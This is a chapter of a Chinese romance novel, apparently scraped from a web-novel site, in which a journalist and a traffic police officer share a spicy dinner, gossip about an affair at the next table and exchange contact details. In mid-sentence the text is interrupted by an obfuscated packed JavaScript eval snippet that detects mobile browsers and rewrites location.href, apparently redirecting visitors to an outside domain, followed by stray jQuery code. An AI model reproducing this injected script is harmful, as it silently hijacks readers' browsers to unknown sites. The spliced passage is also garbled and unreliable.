戚许坐在况野的副驾上说,“你不要以为又一次救了我,他很怂的,不敢真的把我怎么样。我只是不希望我的同事看到我和他在一起,毕竟他很会装,看起来是个正常人。”
况野比较在意的是,“所以他是?”
“我闺蜜人品很烂的前男友。”其实还有很多定语可以加上的。
“不过我没空给你详细讲他们的故事,准备回去拿包打卡下班了,我刚想到,今天这起事故,即使老张是全责,需要赔偿,但他所在的公司应该有给骑手上保险的,所以不需要他自己支付这个费用。但看他的样子,很有可能是并没有购买保险,那就不仅涉及到交通事故,还有关骑手跟平台或者外包公司之间的劳务合同里是否有疏漏。”
戚许对劳动法不是特别了解,但直觉她应该揪住了一点不对劲的地方。
“我准备晚上重新梳理一下,查阅相关法律和案例,如果能帮到他们家就更好啦。”
她手搭在车门上,准备下车。
“你不是也还要回队里?你走吧。”
况野已经在刚才那几分钟决定好了,“我请两个小时假,送你回去。”
他解释:“他毕竟是个成年男性,体力上有绝对优势,而且听你描述,是个没什么底线的人。就算通过你解决不了什么问题,还可以把怒气发泄到你身上,通过伤害你来报复你闺蜜。”
“咦,”戚许做出抖鸡皮疙瘩的样子,胳膊环抱住自己,“《法治在线》呐?森城一男子因不满女友与自己分手,报复其闺蜜泄愤。”
“你做社会新闻的话,应该对这种事不陌生。”
戚许点下头,“好吧,通常这样的故事也都需要一个热心的警察。”
“那你在这儿等我,我很快下来。”
“不怕你同事看到你和我一起走?”
戚许伸出手指隔空点了下他,“你今天话很多。”
合上车门之前,回答他这个问题,“不怕他们看到,你比较帅嘛,不会丢我的人。”
再说,反正他们以后也会经常看到的。
戚许都没意识到自己好像已经不生况野刚没有反驳他同事说她坏话的气了,意气风发地返回工位。
整理材料、保存文档、关电脑,再背上自己的小挎包。
跟几个同事一起有说有笑地走出大门,有眼尖的看到倚在车边朝这边招手的况野。
“等你的?”
“特地来接你,约会啊?”
戚许很假正经地澄清,“正常工作往来。”
又重新回到况野车里,他看了眼时间,“晚上想吃什么?”
“不是说送我回家?”这真让人意外,戚许都没立刻反应过来,“你是要请我吃饭啊?”
况野语气依旧淡淡的,“金柱说话很冒犯,我替他跟你道歉。同时我也认为他对你的评价很不正确,没有立刻替你反驳,对不起。这孩子本质不坏,就是性格冲动,人又一根筋,他只是跟你不熟,不了解你,所以对你有误解。”
戚许意有所指地:“你跟我不也不熟。”
“想好吃什么了吗?是不是得跟你姨夫姨妈报备一声,你不回去吃饭了。”
戚许正在打字的手指停了下,她正在微信上告诉姨妈晚上跟朋友一起吃饭的事。
“你记性还挺好的啊,我就随口提了一句和姨夫姨妈一起住。”
“嗯。”
戚许打开点评网站的收藏夹,找出一家看过探店但没去过的湘菜馆,是一家人气很旺的苍蝇馆子。
“你能吃辣不?”
况野看了看那家店名和位置,开了导航。
“走吧。”
戚许系好安全带,在副驾噘着嘴斜视瞪着况野。
虽说是她单方面决定,之后要跟这个人谈一场会被外人美其名曰“对救命恩人以身相许”的恋爱,现阶段他不必完全做到她对男朋友的所有要求。但可能是家里已经有智障猫毛豆和欠儿登鼠皮皮珠玉在前了,她习惯了身边是事事有回应的对象。
况野这种“省略一切不必要发声”的模式,她不是很喜欢。
晚高峰稍微堵了一会儿,到达湘菜馆附近,具体位置在一条窄胡同里,车开不进去。
况野在附近的收费停车场停好了车,两人步行过去。
还没门口已经看到排排坐在塑料凳子上排号的人,戚许赶紧小跑两步,抢在几个正往门口走的食客前面,在发号的服务员小妹手里拿了一个双人台的等位号码。
她拿着号码牌跑回况野面前,他已经找了两只空凳子。
戚许扬了扬手里的号码,“能早几位也是好的。”
“是啊。”
戚许自己是愿意为了味道牺牲其他方面,比如环境、服务这些的,但她不确定况野是不是也一样。
“就算这样,还是至少要等40分钟,你如果有别的事或者不想等,没关系,我自己吃也可以,谢谢你送我过来。”
“我没事,晚上也就是回家、遛狗、洗澡、睡觉。”
“懂,老年人作息,科学又规律。不过,你也养狗?”
“是我领养的退役军犬,我退伍的时候它因公负伤了,伤好后可以退役,我就申请领养了它。”
“看看照片。”
况野拿出手机,翻着相册里的照片给戚许看。
“大德牧啊,真漂亮。它几岁了?”
况野嘴角浮出一点笑意,“快要十周岁。”
戚许很懂他这种表情,有人夸奖她的猫鼠,她也会露出这样的慈母笑,自己养大的孩子,有成就感嘛。
接下去,话题变成了宠物专场,因两人养的都是身体有些问题的动物,很多方面都能感同身受。
况野将常去的那家,他觉得很靠谱的宠物医院推荐给戚许,戚许查看了一下网上的评价,几乎没有差评,于是加入收藏夹。
又顺着孟雪乔的狗子锅仔,戚许将方松丞一家的所作所为讲给况野。
末了,“我们没有冤枉他吧,这样的人家真的很可怕。”
况野赞同,“这不是经济问题,这是人品问题。”
服务员小妹在门口叫号,还有两桌就到他们了。
戚许叫况野帮她看着包,拿着手机起身往胡同外走。
“去干嘛?”
“买点儿东西。”
几分钟后,戚许拎着便利店的袋子回来,里面是几瓶凉饮料,有果汁、豆奶和牛奶。
况野说:“店里应该都有的。”
戚许把袋子塞到况野怀里,“但是店里的价格会至少贵1/3。”
她不清楚交警的收入情况,但观察得出,况野平时应该生活习惯蛮节俭的,所以只是单纯想让他省点钱。
“那买牛奶是因为?”
前面那桌可能因为等位时间太久放弃了,服务员喊了几声发现没人,直接顺延到下一个,是他们俩。
“走吧,进去。”
戚许神神秘秘又胸有成竹,“牛奶的作用嘛,一会儿你就知道了。”
店里环境比店外还要逼仄,两人的卡座窄到坐下之后站起身都要撞一下桌子的程度。
服务员拿来不知道用了多久的塑封上油乎乎的菜单,况野让戚许点菜。
估摸着点了两个人够吃的,戚许叫服务员下单。
这家上菜的速度挺快,二十分钟,三菜一汤上齐,菜码不算大,所以应该都能吃得完。
米饭是自助的,因自己体型较况野小很多,比较灵活,戚许拿着两个人的碗去盛了饭。
相机先吃,戚许“咔嚓咔嚓”拍好,调了个看着更鲜亮的颜色,发给孟雪乔。
开吃之后,况野就明白了牛奶的作用。
他挟着一筷泡椒牛肉,看戚许面不改色咀嚼,以为顶多就是康师傅香辣牛肉面的程度。
结果——他被辣到整个口腔几乎要着火,脸色涨红,青筋暴起的时候,戚许递来了冰牛奶,在对面一脸坏笑。
“你看起来就很不能吃辣,所以给你准备的,牛奶能解辣。”
“谢谢。”况野赶紧接过来,拧开瓶盖几大口下肚。
况野生平第一次尝试这种辣度,火烧火燎的劲儿过去之后,发现竟然还有点对那种感觉上瘾。
擦了擦额头和鼻尖的汗,继续吃起来,反正牛奶有一大瓶,够他喝到吃完这顿饭的。
“你还行吗?但是他家不辣的菜也没有什么......”
“我觉得很好吃的啊,不用单独给我点。”
况野状态看起来很真实可信,戚许也就依他了。
两人都吃得半饱之后,进食速度明显下降,继续聊起来。
“你有这个心得是因为,以前吃辣能力也一般,用牛奶解辣练习出来的?”
戚许松开果汁瓶里插|着的尖端被她咬瘪的吸管,笑着说:“当然不啊,练习这个干嘛,我是遗传我妈,我小时候我们去吃川湘菜的时候,我爸......”她提到了一个不应该提的人,停住话。
爸爸一个完全不吃辣的人,愿意陪着妈妈吃她喜欢的,妈妈就会给他准备牛奶。
是她记忆里面,一件很日常的,微不足道的小事了。
“没什么,牛奶解辣,是小时候我妈告诉我的。”
戚许是不会允许这种偷袭她的伤感情绪继续影响自己的,所以她迅速转移注意力并且成功找到了一件能够津津乐道的事。
因店内空间局促,几乎每张桌子都紧挨着,所以他们跟隔壁桌的距离,近到可以听得清对方在说什么。
那一桌也是双人台,跟他们这边一样,坐着一对男女。
不过人家是挨在一起,坐在同一侧的。
一开始,戚许也没有想偷听别人说话,只是余光里的俩身影一直以亲密无间的姿态黏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599518|172009||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在一起,不知道是来吃饭还是来吃对方的,像极了春天的非洲大草原上的各种发|情野兽。
她便转头过去观察,好奇什么原因至于饥渴成这个样子。
发现这一对的年纪应该都在四十岁上下,穿着打扮推测,就是经济条件很普通的工薪阶层。
带给人不适感的源头是,就连正常吃饭,女人都得搂着男人的胳膊,还幸好那男人是左撇子,不然都影响进食。
戚许本来也只是感慨,原来还是有人到中年感情依然很好的老夫老妻,但他们说话的内容传进她耳朵,她才咂摸出其中的不对劲来。
为了防止是自己主观臆断,她还歪着身子竖起耳朵多听了一些,直到出现“你老婆”、“你老公”“他夜班”之类的标志性词汇,才确定这两个人在搞婚外情。
吼吼,有趣。
她勾了勾手指,叫况野凑近些,想跟他分享自己刚发掘的这场八卦。
况野往前欠身,“怎么?”
戚许兴奋地告诉他结论,眼睛朝那边瞟了瞟,示意他。
“我相信我职业的敏锐性。”
“还有,那男人真不是东西,攒了私房钱给这女的发红包,自己儿子学校交费还让跟老婆要。”
况野也配合地压低了声音,“怎么看出来的?”
戚许吸取教训,不想也被隔壁桌听到自己正在讨论他们,伸手揪住况野衣服领口,把他往自己这方向又拽了拽。
手拢在他耳边,跟他复述自己全程的偷听、观察内容,她甚至推测出了两个人的职业和可能的这段关系的发展轨迹。
其实她也知道自己这样有些无聊,她不是警察,也不是道德卫士,管不了什么,再说管了也没什么用,这世界也不会因为她去干预一起婚外恋而变得更好。
不过她从小就这样,好奇心和表达欲极其旺盛,幸好身边的人都从没打击过她。
她说完,松开况野,不无得意地给自己夹了一块土匪猪肝,加一勺擂椒皮蛋和米饭和在一起,准备送进嘴里。
“怎么样?我说的是不是很有道理?”
况野有些心不在焉地点头。
他没有不尊重人,故意走神,但的确没怎么听戚许说话。
因为,刚刚那一分多钟,她趴在他耳边说悄悄话,嘴唇会有意无意擦过他的耳尖。
戚许很有外貌包袱的一个人,时刻注意自己形象的,两人离近之前有特地擦嘴,只是唇膏也一并被擦掉了。
况野记得,有人说耳朵上的神经并不发达,所以感觉也并不敏锐。
可他很确信,那一处微末的皮肤,能清晰地感知到戚许唇瓣上的纹路,间或的摩擦,每次碰到,他的心脏都像是猛地向上顶了一下。
还有她呼出的气息,是因为菜的辣度才会那么灼热吗?
他的全部精力都得用在让自己维持表面平静上,所以对戚许的话可谓一无所知。
**
况野的不自在持续到这顿难捱的饭吃完,终于身体像是重新回到他的掌控。
戚许回去还有些工作要做,所以像之前说好那样,况野直接送她回家。
这家饭馆跟姨夫姨妈家是两个方向,车程有点长,况野上车时习惯性打开了广播。
他也无所谓听些什么,他时常被嘲笑是个跟时代脱节的老年人,不看短视频,流行歌曲和歌星叫不出名字。
开车大多数时候都是去出现场,会跟同事一起听交通广播。
戚许一开始跟他说些,投稿给他们的有意思的线索,后来听着喁喁的电台声音,慢慢靠着头枕睡着了。
像第一次带她去医院那次一样,况野关掉了声音,调高空调温度。
到小区门口,很轻缓地叫醒她。
戚许迷蒙着:“我又睡着了啊。”
她从后座抓起自己的包准备下车,况野叫住她,警惕地在四周打量一圈。
“我们交换一下电话,还有微信。”
“如果他再来骚扰你,动手动脚,你不方便报警的,可以联系我。”
戚许握着手机,语气玩味:“你就方便来?”
“我尽量,如果离得太远,可以请附近支队的同事帮忙。”他没有出过国,也知道目前现行法律的限制令,对戚许这种情况不起作用。
“那好吧,这可是你主动要加我的。”自认为算得上暂胜一句的戚许有点小雀跃。
况野利索地存好电话号码,扫码加上戚许的微信好友。
戚许偷瞄他的备注。
好吧,就是平平无奇的,名字。
况野的头像就是他的那只大德牧,名字叫拉登的。
回去再翻阅一下他的朋友圈吧,今天这进步还可以了。
戚许很乐观地心满意足了,下车,关上车门。
“拜拜!”就不说再见咯,因为事实证明,这是一件必然会发生的事嘛。